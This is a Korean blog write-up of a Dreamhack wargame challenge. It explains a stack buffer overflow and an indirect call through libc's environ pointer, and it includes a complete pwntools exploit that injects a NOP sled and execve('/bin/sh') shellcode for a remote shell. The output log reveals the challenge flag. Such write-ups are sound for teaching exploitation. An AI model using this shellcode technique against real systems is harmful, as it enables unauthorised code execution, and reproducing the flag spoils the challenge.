Description

    이 문제는 작동하고 있는 서비스(environ)의 바이너리와 소스코드가 주어집니다.
    Environ ptr 기법을 통해 스택 주소를 유출하고 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
    “flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
    플래그의 형식은 DH{…} 입니다.

    checksec

    seo@seo:~/Desktop/environ$ checksec ./environ
    [*] '/home/seo/Desktop/environ/environ'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX unknown - GNU_STACK missing
        PIE:      No PIE (0x400000)
        Stack:    Executable
        RWX:      Has RWX segments

    스택에 실행 권한이 있다.

    Decompiled-src

    main

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      size_t nbytes; // [rsp+8h] [rbp-38h] BYREF
      void (**v5)(void); // [rsp+10h] [rbp-30h] BYREF
      char buf[24]; // [rsp+20h] [rbp-20h] BYREF
      unsigned __int64 v7; // [rsp+38h] [rbp-8h]
    
      v7 = __readfsqword(0x28u);
      initialize(argc, argv, envp);
      printf("stdout: %p\n", stdout);
      printf("Size: ");
      __isoc99_scanf("%ld", &nbytes);
      printf("Data: ");
      read(0, buf, nbytes);
      printf("*jmp=");
      __isoc99_scanf("%ld", &v5);
      (*v5)();
      return 0;
    }

    stdout 주소값을 출력하고,
    Size를 입력받아 buf에 Size 크기만큼 입력받는다.

    여기서 buf 크기는 24바이트만큼 할당되어있고,
    원하는 크기만큼 buf를 채울 수 있으므로 버퍼 오버플로우를 발생시킬 수 있다.

    그리고 “*jmp=”를 출력하고, 주소를 10진수로 입력받는데,
    입력받은 주소에서 한번 참조한 주소를 호출하게 된다.

    Solution

    buf를 libc’s environ에 적혀있는 주소까지 더미로 채운뒤, 그 뒤에 쉘코드를 삽입한다.
    로컬 환경에서 봤을때 buf는 0x0007FFE7DEF16B0,
    libc’s environ에 적혀있는 주소가 0x00007FFE7DEF17F8이므로,

    >>> hex(0x00007FFE7DEF17F8 – 0x0007FFE7DEF16B0)
    ‘0x148’

    0x148만큼 더미로 채우면 될 것이다.

    그 다음에 “*jmp=”를 출력하고, 주소를 10진수로 입력받는데,
    libc’s environ 주소를 입력하여
    입력받은 주소에서 한번 참조한 주소를 호출하게 되는데, 이때 쉘코드가 실행된다.

    처음에 stdout 주소값을 출력해주기 때문에 libc base 주소 또한 쉽게 구할 수 있다.

    solve.py

    buf를 libc’s environ에 적혀있는 주소까지 더미로 채워야되는데,
    서버 환경에서는 어디까지인지 모르므로 대충 0x200만큼 nop sled로 채우고 쉘코드를 삽입하면 된다.

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64', os='linux')
    warnings.filterwarnings('ignore')
    
    #local
    # p = process("./environ")
    # e = ELF("./environ", checksec=False)
    # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
    
    #server
    p = remote("host3.dreamhack.games", "17929")
    e = ELF("./environ", checksec=False)
    libc = ELF("./libc.so.6", checksec=False)
    
    stdout = p.recvline()
    stdout = stdout.split(b"stdout: ")[1]
    stdout = stdout.split(b"\n")[0]
    stdout = int(stdout, 16)
    print(f"stdout: {hex(stdout)}")
    libc_base = stdout - libc.symbols["_IO_2_1_stdout_"]
    print(f"libc_base: {hex(libc_base)}")
    
    #payload = b"\x41"*0x148 #local
    payload = b"\x90"*0x200 #nop sled, server
    payload += asm(shellcraft.execve("/bin/sh", 0, 0))
    p.sendlineafter ("Size: ", str(len(payload)))
    p.sendlineafter("Data: ", payload)
    p.sendlineafter("*jmp=", str(libc_base + libc.symbols["environ"]))
    
    p.interactive()

    Result

    seo@seo:~/Desktop/environ$ python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 17929: Done
    stdout: 0x7fe2089ee620
    libc_base: 0x7fe208629000
    [*] Switching to interactive mode
    $ ls
    environ
    flag
    $ cat flag
    DH{209478d89c920b8dfe2dee61f9bc1dcc}$
    [*] Interrupted
    [*] Closed connection to host3.dreamhack.games port 17929

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다